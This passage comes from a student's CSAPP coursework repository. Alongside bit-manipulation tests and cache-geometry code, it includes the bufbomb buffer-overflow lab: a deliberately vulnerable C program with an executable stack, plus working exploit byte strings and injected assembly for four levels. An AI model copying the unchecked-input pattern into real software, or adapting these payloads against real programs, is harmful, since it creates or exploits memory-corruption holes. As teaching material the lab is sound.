60 | for (t = tests; t->function_name; t++) {
61 | result = t->function_under_test();
62 |
63 | printf("%s = %d", t->function_name, result);
64 |
65 | if (result == t->expected_result) {
66 | printf("\t[ OK ]\n");
67 | score ++;
68 | } else {
69 | printf("\t[ fail ] (expected %d)\n", t->expected_result);
70 | }
71 | }
72 |
73 | withinSameBlock_args * args;
74 |
75 | for (args = box_args; args->function_name != NULL; args++) {
76 | result = withinSameBlock(args->ptr1, args->ptr2);
77 |
78 | printf("%s(%p, %p) = %d", args->function_name, args->ptr1, args->ptr2, result);
79 | if (result == args->expected_result) {
80 | printf("\t[ OK ]\n");
81 | } else {
82 | printf("\t[ fail ] (expected %d)\n", args->expected_result);
83 | }
84 | }
85 |
86 | withinArray_args * args2;
87 |
88 | for (args2 = arr_args; args2->function_name != NULL; args2++) {
89 | result = withinArray((args2->base), args2->size, args2->ptr);
90 | printf("%s(%p, %d, %p) = %d", args2->function_name, args2->base, args2->size, args2->ptr, result);
91 | if (result == args2->expected_result) {
92 | printf("\t[ OK ]\n");
93 | } else {
94 | printf("\t[ fail ] (expected %d)\n", args2->expected_result);
95 | }
96 | }
97 |
98 | return 0;
99 | }
100 |
--------------------------------------------------------------------------------
/lab1/tests.c:
--------------------------------------------------------------------------------
1 | /* Testing Code */
2 |
3 | #include
4 | #include
5 |
6 | /* Routines used by floation point test code */
7 |
8 | /* Convert from bit level representation to floating point number */
9 | float u2f(unsigned u) {
10 | union {
11 | unsigned u;
12 | float f;
13 | } a;
14 | a.u = u;
15 | return a.f;
16 | }
17 |
18 | /* Convert from floating point number to bit-level representation */
19 | unsigned f2u(float f) {
20 | union {
21 | unsigned u;
22 | float f;
23 | } a;
24 | a.f = f;
25 | return a.u;
26 | }
27 |
28 | // Rating: 1
29 | int test_bitAnd(int x, int y)
30 | {
31 | return x&y;
32 | }
33 | int test_bitXor(int x, int y)
34 | {
35 | return x^y;
36 | }
37 | int test_thirdBits(void) {
38 | int result = 0;
39 | int i;
40 | for (i = 0; i < 32; i+=3)
41 | result |= 1<= TMin_n && x <= TMax_n;
50 | }
51 |
52 |
53 |
54 | int test_sign(int x) {
55 | if ( !x ) return 0;
56 | return (x < 0) ? -1 : 1;
57 | }
58 |
59 | int test_getByte(int x, int n)
60 | {
61 | unsigned char byte;
62 | switch(n) {
63 | case 0:
64 | byte = x;
65 | break;
66 | case 1:
67 | byte = x >> 8;
68 | break;
69 | case 2:
70 | byte = x >> 16;
71 | break;
72 | default:
73 | byte = x >> 24;
74 | break;
75 | }
76 | return (int) (unsigned) byte;
77 | }
78 | // Rating: 3
79 | int test_logicalShift(int x, int n) {
80 | unsigned u = (unsigned) x;
81 | unsigned shifted = u >> n;
82 | return (int) shifted;
83 | }
84 | int test_addOK(int x, int y)
85 | {
86 | long long lsum = (long long) x + y;
87 | return lsum == (int) lsum;
88 | }
89 | int test_invert(int x, int p, int n)
90 | {
91 | int mask = 0x1;
92 | int temp = x >> p;
93 | int toadd = 0;
94 | int i;
95 | for (i = 0; i < n; i++) {
96 | if (!(mask & temp)) {
97 | toadd += (1 << i);
98 | }
99 | temp = temp >> 1;
100 | }
101 | mask = (1 << n) - 1;
102 | mask = mask << p;
103 | toadd = toadd << p;
104 | return (x & ~mask) | toadd;
105 | }
106 | // Rating: 4
107 | int test_bang(int x)
108 | {
109 | return !x;
110 | }
111 | // Extra Credit: Rating: 3
112 | int test_conditional(int x, int y, int z)
113 | {
114 | return x?y:z;
115 | }
116 | // Extra Credit: Rating: 4
117 | int test_isPower2(int x) {
118 | int i;
119 | for (i = 0; i < 31; i++) {
120 | if (x == 1<> __results.log" > __gdb.in
8 | @echo "quit" >> __gdb.in
9 | @touch __results.log
10 | @for e in $(EXPLOITS); do echo $$e >> __results.log; ./sendstring < $$e > __test.bytes; gdb -x __gdb.in bufbomb; echo >> __results.log; done
11 | @echo
12 | @echo == Summary ================================
13 | @cat __results.log
14 | @rm -f __gdb.in __test.bytes __results.log
15 |
16 | submit:
17 | @mkdir -m g+rwx,o-rwx -p $(SUBMITDIR)
18 | @tar cvf $(SUBMITDIR)/`date +%s`-lab5-exploits.tar $(EXPLOITS) $(ASM) && chmod -R g+r,o-rwx $(SUBMITDIR) && echo Submit succeeded at `date` || echo Submit failed. Email cse351-tas@cs.washington.edu for help.
19 |
20 |
--------------------------------------------------------------------------------
/lab3/back_up.txt:
--------------------------------------------------------------------------------
1 | 60 23 20 25 04 8b 48 00
2 | 60 23 08 25 04 89 48 00
3 | 00 40 10 20 68 c3 00 00
4 | 00 00 00 00 00 00 00 00
5 | 00 00 00 00 00 00 00 00
6 | 00 00 00 00 01 02 03 04
7 | 20 23 60 00 00 00 00 00
8 | b0 b6 ff ff ff 7f 00 00
9 |
--------------------------------------------------------------------------------
/lab3/bufbomb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/lab3/bufbomb
--------------------------------------------------------------------------------
/lab3/bufbomb.c:
--------------------------------------------------------------------------------
1 | /*
2 | * bufbomb.c - Bomb program that is solved using a buffer overflow attack
3 | *
4 | * Copyright (c) 2002, R. Bryant and D. O'Hallaron, All rights reserved.
5 | * May not be used, modified, or copied without permission.
6 | */
7 |
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include "gencookie.h"
19 | #include "config.h"
20 | #include
21 | #include
22 |
23 | #define NEW_STACK_SIZE (4096*4)
24 |
25 | #ifdef __CYGWIN__
26 | #include "getopt.h"
27 | #endif
28 |
29 | /* Binary code for HLT (halt) instruction */
30 | #define HALT_INSTR 0xF4
31 |
32 | #define KABOOM_CNT 5
33 | #define NORMAL_CNT 1
34 |
35 | FILE *infile = NULL;
36 |
37 | int submit = NOTIFY;
38 |
39 | int quiet = 0;
40 | unsigned hexformat = 0;
41 |
42 | unsigned long long cookie = 0;
43 | char *team = NULL;
44 | int grade = 0;
45 |
46 | int success = 0;
47 |
48 | /**************************************************************************
49 | The following is the part of the code students will actually look at.
50 | They are put at the beginning of the file to make them easier to find
51 | in the diassembly, and to make their locations more stable when other
52 | parts of the code get modified.
53 | **************************************************************************/
54 |
55 | /* Forward pointers */
56 | void entry_check(int);
57 | void validate(int);
58 | char *Gets(char *);
59 | unsigned long long getbuf();
60 |
61 | /* $begin smoke-c */
62 | void smoke()
63 | {
64 | entry_check(0); /* Make sure entered this function properly */
65 | printf("Smoke!: You called smoke()\n");
66 | validate(0);
67 | exit(0);
68 | }
69 | /* $end smoke-c */
70 |
71 | /* $begin fizz-c */
72 | void fizz(int arg1, char arg2, long arg3, char* arg4, short arg5, short arg6, unsigned long long val)
73 | {
74 | entry_check(1); /* Make sure entered this function properly */
75 | if (val == cookie) {
76 | printf("Fizz!: You called fizz(0x%llx)\n", val);
77 | validate(1);
78 | } else {
79 | printf("Misfire: You called fizz(0x%llx)\n", val);
80 | }
81 | exit(0);
82 | }
83 | /* $end fizz-c */
84 |
85 | /* $begin bang-c */
86 | unsigned long long global_value = 0;
87 |
88 | void bang(unsigned long long val)
89 | {
90 | entry_check(2); /* Make sure entered this function properly */
91 | if (global_value == cookie) {
92 | printf("Bang!: You set global_value to 0x%llx\n", global_value);
93 | validate(2);
94 | } else {
95 | printf("Misfire: global_value = 0x%llx\n", global_value);
96 | }
97 | exit(0);
98 | }
99 | /* $end bang-c */
100 |
101 | /* $begin boom-c */
102 | void test()
103 | {
104 | unsigned long long val;
105 | volatile unsigned long long local = 0xdeadbeef;
106 | char* variable_length;
107 | entry_check(3); /* Make sure entered this function properly */
108 | val = getbuf();
109 | if (val <= 40) {
110 | variable_length = alloca(val);
111 | }
112 | entry_check(3);
113 | /* Check for corrupted stack */
114 | if (local != 0xdeadbeef) {
115 | printf("Sabotaged!: the stack has been corrupted\n");
116 | }
117 | else if (val == cookie) {
118 | printf("Boom!: getbuf returned 0x%llx\n", val);
119 | if (local != 0xdeadbeef) {
120 | printf("Sabotaged!: the stack has been corrupted\n");
121 | }
122 | validate(3);
123 | }
124 | else {
125 | printf("Dud: getbuf returned 0x%llx\n", val);
126 | }
127 | }
128 | /* $end boom-c */
129 |
130 | /* $begin getbuf-c */
131 | unsigned long long getbuf()
132 | {
133 | char buf[36];
134 | volatile char* variable_length;
135 | int i;
136 | unsigned long long val = (unsigned long long)Gets(buf);
137 | variable_length = alloca((val % 40) < 36 ? 36 : val % 40);
138 | for(i = 0; i < 36; i++)
139 | {
140 | variable_length[i] = buf[i];
141 | }
142 | return val % 40;
143 | }
144 | /* $end getbuf-c */
145 |
146 | /* /\* $begin kaboom-c *\/ */
147 | /* int getbufn() */
148 | /* { */
149 | /* char buf[512]; */
150 | /* Gets(buf); */
151 | /* return 1; */
152 | /* } */
153 | /* /\* $end kaboom-c *\/ */
154 |
155 | /* void testn() */
156 | /* { */
157 | /* int val; */
158 | /* volatile int local = 0xdeadbeef; */
159 | /* entry_check(4); /\* Make sure entered this function properly *\/ */
160 | /* val = getbufn(); */
161 | /* /\* Check for corrupted stack *\/ */
162 | /* if (local != 0xdeadbeef) { */
163 | /* printf("Sabotaged!: the stack has been corrupted\n"); */
164 | /* } */
165 | /* else if (val == cookie) { */
166 | /* printf("KABOOM!: getbufn returned 0x%x\n", val); */
167 | /* validate(4); */
168 | /* } */
169 | /* else { */
170 | /* printf("Dud: getbufn returned 0x%x\n", val); */
171 | /* } */
172 | /* } */
173 |
174 |
175 | /* Like gets, except that can optionally (when hexformat nonzero)
176 | accept format where characters are typed as pairs of hex digits.
177 | Nondigit characters are ignored. Stops when encounters newline.
178 | In addition, it stores the string in global buffer gets_buf
179 | */
180 | #define GETLEN 1024
181 | static char gets_buf[3*GETLEN+1];
182 | int gets_cnt = 0;
183 |
184 | static char trans_char[16] =
185 | {'0', '1', '2', '3', '4', '5', '6', '7',
186 | '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'};
187 |
188 | static void save_char(char c) {
189 | if (gets_cnt < GETLEN) {
190 | gets_buf[3*gets_cnt] = trans_char[(c>>4)&0xF];
191 | gets_buf[3*gets_cnt+1] = trans_char[c&0xF];
192 | gets_buf[3*gets_cnt+2] = ' ';
193 | gets_cnt++;
194 | }
195 | }
196 |
197 | static void save_term()
198 | {
199 | gets_buf[3*gets_cnt] = '\0';
200 | }
201 |
202 | char *Gets(char *dest)
203 | {
204 | int c, hc;
205 | int even = 1; /* Have read even number of digits */
206 | int otherd = 0; /* Other hex digit of pair */
207 | char *sp = dest;
208 |
209 | gets_cnt = 0;
210 | if (!hexformat) {
211 | while ((c = getc(infile)) != EOF && c != '\n') {
212 | *sp++ = c;
213 | save_char(c);
214 | }
215 | } else {
216 | while ((hc = getc(infile)) != EOF && hc != '\n') {
217 | if (isxdigit(hc)) {
218 | int val;
219 | if ('0' <= hc && hc <= '9')
220 | val = hc - '0';
221 | else if ('A' <= hc && hc <= 'F')
222 | val = hc - 'A' + 10;
223 | else
224 | val = hc - 'a' + 10;
225 | if (even) {
226 | otherd = val;
227 | even = 0;
228 | } else {
229 | c = otherd * 16 + val;
230 | *sp++ = c;
231 | save_char(c);
232 | even = 1;
233 | }
234 | }
235 | }
236 | }
237 | *sp++ = '\0';
238 | save_term();
239 | return dest;
240 | }
241 |
242 | /* Track successful results */
243 | static int level_counts[5] =
244 | {NORMAL_CNT, NORMAL_CNT, NORMAL_CNT, NORMAL_CNT, KABOOM_CNT};
245 |
246 | int check_level = -1;
247 | /* Simple check to make sure validation only happens after proper
248 | function entry */
249 | void entry_check(int level)
250 | {
251 | check_level = level;
252 | }
253 |
254 | void validate(int level)
255 | {
256 | if (!team) {
257 | printf("No username indicated. Results not validated\n");
258 | return;
259 | }
260 | if (level < 0 || level >= 5) {
261 | printf("Invalid level. Results not validated\n");
262 | return;
263 | }
264 | if (level != check_level) {
265 | printf("Improper call to validate function. Results not validated\n");
266 | return;
267 | }
268 |
269 | success = 1;
270 | if (--level_counts[level] > 0) {
271 | printf("Keep going\n");
272 | } else if (grade) {
273 | printf("Level %d VALID\n", level);
274 | }
275 | }
276 |
277 | static void usage(char *name)
278 | {
279 | printf("Usage: %s -u username\n", name);
280 | printf("\t-u username: Specify username\n");
281 | exit(0);
282 | }
283 |
284 | /* Signal handler to catch bus errors */
285 | void bushandler(int sig)
286 | {
287 | printf("Crash!: You caused a bus error!\n");
288 | printf("Better luck next time\n");
289 | exit(0);
290 | }
291 |
292 | /* Signal handler to catch segmentation violations */
293 | void seghandler(int sig)
294 | {
295 | printf("Ouch!: You caused a segmentation fault!\n");
296 | printf("Better luck next time\n");
297 | exit(0);
298 | }
299 |
300 |
301 | /* Alarm handler to catch infinite loops */
302 | static int alarm_time = 600;
303 |
304 | void alarmhandler(int sig)
305 | {
306 | printf("Dead!: getbuf didn't complete within %d seconds\n", alarm_time);
307 | printf("Better luck next time\n");
308 | exit(0);
309 | }
310 |
311 | /* Illegal instruction handler */
312 | void illegalhandler(int sig)
313 | {
314 | printf("Oops!: You executed an illegal instruction\n");
315 | printf("Better luck next time\n");
316 | exit(0);
317 | }
318 |
319 | /* Run either test or testn */
320 | static void launch(int nitro, int offset) {
321 | int localbuf[16];
322 | int stable_tweak = 0;
323 | int *space;
324 | /*
325 | This little hack adjusts the stack. For normal mode, it
326 | tries to put it into a stable position from one run to the next.
327 | In nitro mode, it makes it even less stable than it would normally be.
328 | You don't need to understand it to do the assignment.
329 | */
330 | stable_tweak = (((int) localbuf) & 0x3FF8) + offset;
331 | space = (int *) alloca(stable_tweak);
332 | /* Fill full of halt instructions, so that will get seg fault */
333 | memset(space, HALT_INSTR, stable_tweak);
334 |
335 | if (!quiet) {
336 | if (hexformat)
337 | printf("Type Hex string: ");
338 | else {
339 | printf("Type string: ");
340 | }
341 | }
342 |
343 | test();
344 | if (!success) {
345 | printf("Better luck next time\n");
346 | success = 0;
347 | }
348 | }
349 |
350 | void test_function() {
351 | // printf("This is a test\n");
352 | }
353 |
354 | void shift_stack_and_invoke_function(
355 | uint64_t new_rsp,
356 | void (*func_ptr)()) {
357 | uint64_t old_rsp;
358 |
359 | __asm__ volatile("movq %%rsp, %0\n" : "=a" (old_rsp));
360 | __asm__ volatile("movq %0, %%rsp\n" : : "q" (new_rsp) : "memory", "rsp");
361 | func_ptr();
362 | __asm__ volatile("movq %0, %%rsp\n" : : "q" (old_rsp) : "memory", "rsp");
363 | }
364 |
365 | int main(int argc, char *argv[])
366 | {
367 | int cookie_tweak = 0;
368 | int nitro = 0; /* Run in unstable mode? */
369 | int i;
370 | int *offsets;
371 | int cnt = NORMAL_CNT;
372 | char c;
373 |
374 | char *m = memalign(NEW_STACK_SIZE, NEW_STACK_SIZE);
375 | uint64_t new_rsp;
376 | if(mprotect(m, NEW_STACK_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC)
377 | != 0) {
378 | perror("Failure to set stack permissions\n");
379 | exit(0);
380 | }
381 |
382 | new_rsp = (uint64_t)m + NEW_STACK_SIZE - 128;
383 |
384 | shift_stack_and_invoke_function(new_rsp, test_function);
385 |
386 | signal(SIGSEGV, seghandler);
387 | signal(SIGBUS, bushandler);
388 | signal(SIGALRM, alarmhandler);
389 | signal(SIGILL, illegalhandler);
390 | infile = stdin;
391 |
392 |
393 | while ((c = getopt(argc, argv, "gt:u:")) != -1)
394 | switch(c) {
395 | case 'g': /* Hidden switch */
396 | grade = 1;
397 | quiet = 1;
398 | alarm_time = 1; /* Should get immediate response */
399 | break;
400 | /* case 'h': */
401 | /* usage(argv[0]); */
402 | /* break; */
403 | /* case 'q': /\* Disabled *\/ */
404 | /* quiet = 1; */
405 | /* break; */
406 | /* case 'n': */
407 | /* nitro = 1; */
408 | /* cnt = KABOOM_CNT; */
409 | /* break; */
410 | /* case 'x': /\* Disabled *\/ */
411 | /* hexformat = 1; */
412 | /* break; */
413 | case 't':
414 | case 'u':
415 | team = strdup(optarg);
416 | printf("Username: %s\n", team);
417 | cookie = gencookie(team);
418 | printf("Cookie: 0x%llx\n", cookie);
419 | break;
420 | /* case 'f': /\* Disabled *\/ */
421 | /* infile = fopen(optarg, "r"); */
422 | /* if (!infile) { */
423 | /* printf("Can't open file: %s\n", optarg); */
424 | /* usage(argv[0]); */
425 | /* } */
426 | /* break; */
427 | /* case 's': /\* automatically submit solution via email *\/ */
428 | /* submit = 1; */
429 | /* break; */
430 | default:
431 | usage(argv[0]);
432 | }
433 |
434 | if (!team) {
435 | printf("You must include a username with -u\n");
436 | usage(argv[0]);
437 | }
438 |
439 | srandom(cookie);
440 | cookie_tweak = random() & 0xFF8;
441 |
442 | /* Set up set of stack offsets */
443 | offsets = (int *) calloc(cnt, sizeof(int));
444 | for (i = 0; i < cnt-2; i++)
445 | offsets[i] = random() & 0x38;
446 | if (cnt >= 2)
447 | offsets[cnt-2] = 0x38;
448 | offsets[cnt-1] = 0;
449 |
450 | /* Set up time out condition */
451 | alarm(alarm_time);
452 |
453 | for (i = 0; i < cnt; i++)
454 | launch(nitro, offsets[i]+cookie_tweak);
455 |
456 | return 0;
457 | }
458 |
459 |
--------------------------------------------------------------------------------
/lab3/exploit_for_level0.byte:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/lab3/exploit_for_level0.byte
--------------------------------------------------------------------------------
/lab3/exploit_for_level0.txt:
--------------------------------------------------------------------------------
1 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 01 02 03 04 05 06 07 08 c0 10 40 00 00 00 00 00
2 |
--------------------------------------------------------------------------------
/lab3/exploit_for_level1.byte:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/lab3/exploit_for_level1.byte
--------------------------------------------------------------------------------
/lab3/exploit_for_level1.txt:
--------------------------------------------------------------------------------
1 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 20 23 60 00 00 00 00 00 70 10 40 00 00 00 00 00 20 23 60 00 00 00 00 00 c2 46 c1 21 48 ca 33 39
2 |
--------------------------------------------------------------------------------
/lab3/exploit_for_level2.S:
--------------------------------------------------------------------------------
1 | mov $0x3933ca4821c146c2 ,%rax
2 | mov $0x602308 ,%rbx
3 | mov %rax ,(%rbx)
4 | push $0x401020
5 | retq
6 |
--------------------------------------------------------------------------------
/lab3/exploit_for_level2.byte:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/lab3/exploit_for_level2.byte
--------------------------------------------------------------------------------
/lab3/exploit_for_level2.txt:
--------------------------------------------------------------------------------
1 | 48 b8 c2 46 c1 21 48 ca 33 39 48 c7 c3 08 23 60 00 48 89 03 68 20 10 40 00 c3 31 32 32 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 00 00 00 02 03 04 20 23 60 00 00 b0 b6 ff ff ff 7f 00 00
2 |
--------------------------------------------------------------------------------
/lab3/exploit_for_level3.S:
--------------------------------------------------------------------------------
1 | mov $0x3933ca4821c146c2 ,%rax //the first value is the cookie
2 | mov $0x7fffffffb710 ,%rbp //the first value is the %rbp of
3 | push $0x400ef3 //make the return address point to the next instruction of getbuf()
4 | retq
5 |
--------------------------------------------------------------------------------
/lab3/exploit_for_level3.byte:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/lab3/exploit_for_level3.byte
--------------------------------------------------------------------------------
/lab3/exploit_for_level3.txt:
--------------------------------------------------------------------------------
1 | 48 b8 c2 46 c1 21 48 ca 33 39 48 bd 10 b7 ff ff ff 7f 00 00 68 f3 0e 40 00 c3 31 32 32 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 00 00 00 d8 b6 ff ff ff 7f 00 00 b0 b6 ff ff ff 7f 00 00
2 |
--------------------------------------------------------------------------------
/lab3/makecookie:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/lab3/makecookie
--------------------------------------------------------------------------------
/lab3/sendstring:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/lab3/sendstring
--------------------------------------------------------------------------------
/lab4.tar.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/lab4.tar.gz
--------------------------------------------------------------------------------
/lab4/Makefile:
--------------------------------------------------------------------------------
1 |
2 | ifndef TEST_CACHE
3 | $(error You did not define TEST_CACHE!)
4 | endif
5 |
6 | SRC=cache-test-skel.c
7 |
8 | .FORCE:
9 |
10 | cache-test: .FORCE $(SRC) $(TEST_CACHE)
11 | gcc -Wall $(SRC) $(TEST_CACHE) -g -o $@
12 |
--------------------------------------------------------------------------------
/lab4/Optional_extra_credit.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #define SIZE 10000
4 |
5 | int main()
6 | {
7 | int i,j,k;
8 |
9 | int sum = 1;
10 |
11 | for(i = 0;i < SIZE; i++)
12 | {
13 | for(j = 0;j < SIZE;j++)
14 | {
15 | for(k = 0;k < SIZE;k++)
16 | {
17 | sum = -sum;
18 | }
19 | }
20 | }
21 |
22 | // printf("Hello world!\n");
23 | printf("Sum is %d\n",sum);
24 |
25 | return 0;
26 | }
27 |
--------------------------------------------------------------------------------
/lab4/cache-test:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/lab4/cache-test
--------------------------------------------------------------------------------
/lab4/cache-test-skel.c:
--------------------------------------------------------------------------------
1 | /*
2 | YOUR NAME HERE
3 | CSE 351 - Winter 2013
4 | Lab 4 - Mystery Caches
5 |
6 | Mystery Cache Geometries:
7 | mystery0:
8 | block size = 64 bytes
9 | cache size = 262144 bytes
10 | associativity = 1
11 | mystery1:
12 | block size = 8 bytes
13 | cache size = 16384 bytes
14 | associativity = 4
15 | mystery2:
16 | block size = 16 bytes
17 | cache size = 65536 bytes
18 | associativity = 16
19 | mystery3:
20 | block size = 2 bytes
21 | cache size = 131072 bytes
22 | associativity = 2
23 | */
24 |
25 | #include
26 | #include
27 |
28 | #include "mystery-cache.h"
29 |
30 | /*
31 | * NOTE: When using access_cache() you do not need to provide a "real" memory
32 | * addresses. You can use any convenient integer value as a memory address,
33 | * you should not be able to cause a segmentation fault by providing a memory
34 | * address out of your programs address space as the argument to access_cache.
35 | */
36 |
37 | /*
38 | Returns the size (in B) of each block in the cache.
39 | */
40 | int get_block_size(void) {
41 | int block_counter = 0;
42 | flush_cache();
43 | access_cache(0);
44 |
45 | for(block_counter = 0; access_cache(block_counter);block_counter++)
46 | {
47 | }
48 |
49 | return block_counter;
50 | }
51 |
52 | /*
53 | Returns the size (in B) of the cache.
54 | */
55 | int get_cache_size(int block_size) {
56 |
57 | int possible_cache_size;
58 | int tmp = 0;
59 | flush_cache();
60 |
61 | for(possible_cache_size = 1; 1 ;possible_cache_size<<=1)
62 | {
63 | for(tmp = 0;tmp <= possible_cache_size;tmp += block_size)
64 | {
65 | access_cache(tmp);
66 | }
67 |
68 | if(!access_cache(0))
69 | {
70 | break;
71 | }
72 | }
73 |
74 | return possible_cache_size;
75 | }
76 |
77 | /*
78 | Returns the associativity of the cache.
79 | */
80 | int get_cache_assoc(int cache_size) {
81 |
82 | int tmp = cache_size;
83 | int addr = 0;
84 |
85 | flush_cache();
86 |
87 | for(addr = 0; 1; addr += cache_size)
88 | {
89 | access_cache(addr);
90 | for(tmp = 0;tmp <= addr;tmp += cache_size)
91 | {
92 | if(!access_cache(tmp))
93 | {
94 | return addr/cache_size;
95 | }
96 | }
97 | }
98 | return -1;
99 | }
100 |
101 | int main(void) {
102 | int size;
103 | int assoc;
104 | int block_size;
105 |
106 | /* The cache needs to be initialized, but the parameters will be
107 | ignored by the mystery caches, as they are hard coded.
108 | You can test your geometry paramter discovery routines by
109 | calling cache_init() w/ your own size and block size values. */
110 | cache_init(0,0);
111 |
112 | block_size=get_block_size();
113 | size=get_cache_size(block_size);
114 | assoc=get_cache_assoc(size);
115 |
116 | printf("Cache block size: %d bytes\n", block_size);
117 | printf("Cache size: %d bytes\n", size);
118 | printf("Cache associativity: %d\n", assoc);
119 |
120 | return EXIT_SUCCESS;
121 | }
122 |
--------------------------------------------------------------------------------
/lab4/cacheExperiment.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | int src[2048][2048];
4 | int dst[2048][2048];
5 |
6 | /* Copies the contents of one 2048-by-2048 array (src) into another (dst). */
7 | //int main(int argc, char* argv[])
8 | int main()
9 | {
10 | // declare all variables before the code (conform to an older C standard...)
11 | int rep;
12 | int i, j;
13 |
14 | for ( rep = 0; rep < 10; rep++ )
15 | {
16 | for ( i = 0; i < 2048; i++ )
17 | {
18 | for ( j = 0; j < 2048; j++ )
19 | {
20 | //src[i][j] = i * rep;
21 | dst[i][j] = src[i][j];
22 | }
23 | }
24 | }
25 |
26 | return 0;
27 | }
28 |
--------------------------------------------------------------------------------
/lab4/cacheExperiment.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/lab4/cacheExperiment.class
--------------------------------------------------------------------------------
/lab4/cacheExperiment.java:
--------------------------------------------------------------------------------
1 |
2 | class cacheExperiment {
3 |
4 | public static void main(String[] arg) {
5 | int src[][] = new int[2048][2048];
6 | int dst[][] = new int[2048][2048];
7 |
8 | int rep;
9 | int i, j;
10 |
11 | for ( rep = 0; rep < 10; rep++ ) {
12 | for ( i = 0; i < 2048; i++) {
13 | for ( j = 0; j < 2048; j++) {
14 | //src[i][j] = i * rep;
15 | dst[i][j] = src[i][j];
16 | }
17 | }
18 | }
19 | }
20 |
21 | }
--------------------------------------------------------------------------------
/lab4/cacheExperimentInteger.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/lab4/cacheExperimentInteger.class
--------------------------------------------------------------------------------
/lab4/cacheExperimentInteger.java:
--------------------------------------------------------------------------------
1 |
2 | class cacheExperimentInteger {
3 |
4 | public static void main(String[] arg) {
5 | Integer src[][] = new Integer[2048][2048];
6 | Integer dst[][] = new Integer[2048][2048];
7 |
8 | int rep;
9 | int i, j;
10 |
11 | for ( rep = 0; rep < 10; rep++ ) {
12 | for ( i = 0; i < 2048; i++) {
13 | for ( j = 0; j < 2048; j++) {
14 | //src[i][j] = i * rep;
15 | dst[i][j] = src[i][j];
16 | }
17 | }
18 | }
19 | }
20 |
21 | }
--------------------------------------------------------------------------------
/lab4/mystery-cache.h:
--------------------------------------------------------------------------------
1 | #ifndef __MYSTERY_CACHE_H
2 | #define __MYSTERY_CACHE_H
3 |
4 | typedef unsigned long long addr_t;
5 | typedef unsigned char bool_t;
6 | #define TRUE 1
7 | #define FALSE 0
8 |
9 | /** Initializes the cache. This function must be called so that the
10 | cache can initialize its data structures, though the mystery
11 | caches will ignore the provided arguments (as their parameters are
12 | hard-coded). */
13 | void cache_init(int size, int block_size);
14 |
15 | /** Lookup an address in the cache. Returns TRUE if the access hits,
16 | FALSE if it misses. */
17 | bool_t access_cache(addr_t address);
18 |
19 | /** Clears all words in the cache (and the victim buffer, if
20 | present). Useful for helping you reason about the cache
21 | transitions, by starting from a known state. */
22 | void flush_cache(void);
23 |
24 | #endif
25 |
--------------------------------------------------------------------------------
/lab4/run.pl:
--------------------------------------------------------------------------------
1 | #!/usr/bin/perl
2 |
3 | use strict;
4 |
5 | my $TIME = '/usr/bin/time';
6 |
7 | my $cmd = [ { name => 'Java int',
8 | cmd => "javac -Xlint cacheExperiment.java && $TIME java -Xmx640M -cp . cacheExperiment 2>&1",
9 | },
10 | { name => 'Java Integer',
11 | cmd => "javac -Xlint cacheExperimentInteger.java && $TIME java -Xmx640M -cp . cacheExperimentInteger 2>&1",
12 | },
13 | { name => 'Java Integer Integer',
14 | cmd => "javac -Xlint cacheExperimentIntegerInteger.java && $TIME java -Xmx640M -cp . cacheExperimentIntegerInteger 2>&1",
15 | },
16 | { name => 'C',
17 | cmd => "gcc -Wall cacheExperiment.c && $TIME ./a.out 2>&1",
18 | },
19 | { name => 'Optimized C',
20 | cmd => "gcc -Wall -O2 cacheExperiment.c && $TIME ./a.out 2>&1",
21 | },
22 | ];
23 |
24 | foreach my $entry (@{$cmd}) {
25 | open(my $fh, "$entry->{cmd}|") || die "Couldn't open '$entry->{cmd}'";
26 | my $totalTime = 0;
27 | my $output = '';
28 | while (<$fh>) {
29 | $output .= $_;
30 | $totalTime += $1 if m/(\d+\.\d+)\s*user/;
31 | $totalTime += $1 if m/(\d+\.\d+)\s*system/;
32 | }
33 | close($fh);
34 | print sprintf("%20s %f\n", $entry->{name}, $totalTime);
35 | print "That execution failed: $output" if $? >> 8;
36 | }
37 |
--------------------------------------------------------------------------------
/lab5.tar.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/lab5.tar.gz
--------------------------------------------------------------------------------
/lab5/Makefile:
--------------------------------------------------------------------------------
1 | #
2 | # Students' Makefile for the Malloc Lab
3 | #
4 | SUBMITDIR = /projects/instr/10sp/cse351/$(USER)/lab7
